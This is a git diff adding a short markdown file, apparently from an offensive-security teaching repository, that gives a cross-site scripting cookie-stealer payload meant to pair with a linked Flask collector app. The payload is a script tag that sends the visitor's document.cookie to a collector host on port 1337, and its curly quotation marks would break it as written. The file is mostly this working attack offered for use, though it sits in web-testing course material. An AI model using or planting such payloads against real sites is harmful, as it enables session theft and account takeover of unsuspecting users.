diff --git a/web_application_testing/cookie_stealer_payload.md b/web_application_testing/cookie_stealer_payload.md
new file mode 100644
index 0000000..bc6824f
--- /dev/null
+++ b/web_application_testing/cookie_stealer_payload.md
@@ -0,0 +1,6 @@
+# Cookie Stealer Payload
+This is the payload that can be used with the [cookie stealer Python/Flask app](https://github.com/The-Art-of-Hacking/h4cker/blob/master/python_ruby_and_bash/cookie_stealer.py).
+
+```
+<script type=“text/javascript”>document.location=“http://127.0.0.1:1337/?c=“+document.cookie;</script>
+```
\ No newline at end of file